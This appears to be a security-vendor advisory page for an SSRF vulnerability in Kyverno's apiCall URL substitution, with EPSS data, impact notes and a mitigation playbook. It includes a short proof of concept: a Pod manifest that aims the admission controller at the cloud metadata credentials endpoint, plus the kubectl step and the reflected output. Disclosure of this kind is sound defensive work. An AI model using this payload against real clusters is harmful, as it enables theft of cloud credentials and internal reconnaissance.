Your RSA-2048 keys break in 2030. Find every one of them before attackers do.
🐹
🐹 Go
Not in CISA KEV
HIGH severity

GHSA-qr4g-8hrp-c4rw kyverno

HIGH

GHSA-qr4g-8hrp-c4rw is a high-severity (CVSS 7.7) Server-Side Request Forgery (SSRF) vulnerability in github.com/kyverno/kyverno. No vendor fix is recorded yet; mitigation options are listed below.

Kyverno has unrestricted outbound requests in Kyverno apiCall enabling SSRF

Also known asCVE-2026-84196GO-2026-5594
Published
Apr 14, 2026
Updated
Sep 10, 2026
Affected
1 pkg
Patched
None yet
Exploits
None indexed
Exploitation data as of Sep 18, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Exploitation Status

No confirmed exploitation observed yet

  • CISA’s own triage has not observed active exploitation or public proof-of-concept code for this CVE as of its last assessment.

Exploitation and automatability from CISA’s SSVC triage for GHSA-qr4g-8hrp-c4rw.

EPSS Exploitation Probability

via FIRST.org ↗
0.3%probability of exploitation in next 30 days
Lower Risk0.00%
Lower risk than most CVEs18th percentile — riskier than 18% of all scored CVEsHighest risk

EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.

How urgent is this, really

GHSA-qr4g-8hrp-c4rw plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.

Where this sits among everything scored

Of 377,333 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.

Real-World Exposure

1 pkg affected
🐹github.com/kyverno/kyverno

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages — download data is not available via public APIs for these ecosystems.

Description

Summary

A Server-Side Request Forgery (SSRF) vulnerability in Kyverno allows authenticated users to induce the admission controller to send arbitrary HTTP requests to attacker-controlled endpoints.

When a ClusterPolicy uses apiCall.service.url with variable substitution (e.g. {{request.object.*}}), user-controlled input can influence the request target. The Kyverno admission controller executes these requests from its privileged network position without enforcing any validation or network restrictions.

The issue becomes non-blind SSRF, as response data from internal services can be reflected back to the user via admission error messages.


Details

Kyverno supports variable substitution in apiCall.service.url, a documented feature intended to enable dynamic external lookups during admission control.

However, the current implementation lacks fundamental safeguards in the HTTP execution path:

Missing protections

  • No URL validation
    User-controlled input is directly embedded into the request URL without validation or normalization.

  • No IP filtering
    Requests can target:

    • Loopback (127.0.0.1)
    • Link-local (169.254.0.0/16)
    • Cloud metadata services (e.g. AWS IMDS)
    • Internal ClusterIP services
  • Redirect handling not restricted
    The Go HTTP client uses default redirect behavior (CheckRedirect == nil), allowing up to 10 redirects without re-validation of the target.

  • Response data reflection in admission errors
    Response bodies are propagated back to the user in admission responses under certain conditions.

Non-blind SSRF behavior

The vulnerability is non-blind through two mechanisms:

  1. Non-2xx responses
    Response body is returned in admission error messages (e.g. executor.go:98-101)

  2. 2xx responses with non-JSON content
    Parsing failures (JSON/JMESPath) include response snippets in error output

This allows attackers to retrieve data from internal services directly via kubectl output.


PoC

Preconditions

  1. A ClusterPolicy using:
apiCall:
  service:
    url: "http://{{ request.object.metadata.annotations.target }}"
  1. An authenticated user able to create matching resources (e.g. Pods)

Step 1 — Create malicious resource

apiVersion: v1
kind: Pod
metadata:
  name: ssrf-test
  annotations:
    target: "169.254.169.254/latest/meta-data/iam/security-credentials/"
spec:
  containers:
  - name: test
    image: nginx

Step 2 — Apply resource

kubectl apply -f pod.yaml

Step 3 — Observe output

Example output:

Error from server: admission webhook "kyverno" denied the request:
failed to process apiCall: <response body from metadata service>

Variations


Impact

Vulnerability class

  • Server-Side Request Forgery (SSRF)
  • Non-blind data exfiltration

Affected scope

  • Kubernetes clusters using Kyverno policies with apiCall.service.url and variable substitution

Impact details

  • Access to internal services (ClusterIP, localhost)
  • Access to cloud metadata endpoints (e.g. IMDSv1 → credential exposure)
  • Internal network reconnaissance
  • Multi-tenant boundary weakening

This issue can be combined with automatic ServiceAccount token forwarding (reported separately) to form a critical attack chain.

Affected Packages

1 total
EcosystemPackageVulnerable rangeFix
🐹Gogithub.com/kyverno/kyvernoall versionsNo fix

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for github.com/kyverno/kyverno, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

  2. Remediation status

    No patched version of github.com/kyverno/kyverno has shipped for GHSA-qr4g-8hrp-c4rw yet. Where your build allows, override or pin the dependency away from the vulnerable range, and apply any maintainer-recommended mitigation.

  3. Mitigate without a patch

    If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

  4. How O3 protects you

    O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like GHSA-qr4g-8hrp-c4rw can be triaged on real exposure rather than presence alone.

Tailored to GHSA-qr4g-8hrp-c4rw. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Frequently Asked Questions

### Summary A Server-Side Request Forgery (SSRF) vulnerability in Kyverno allows authenticated users to induce the admission controller to send arbitrary HTTP requests to attacker-controlled endpoints. When a `ClusterPolicy` uses `apiCall.service.url` with variable substitution (e.g. `{{request.object.*}}`), user-controlled input can influence the request target. The Kyverno admission controller executes these requests from its privileged network position without enforcing any validation or network restrictions. The issue becomes **non-blind SSRF**, as response data from internal services ca
O3 Security · Impact-Aware SCA

Is GHSA-qr4g-8hrp-c4rw in your dependencies?

O3 Security finds GHSA-qr4g-8hrp-c4rw across Go dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.

GHSA-qr4g-8hrp-c4rw: kyverno (High 7.7) | O3 Security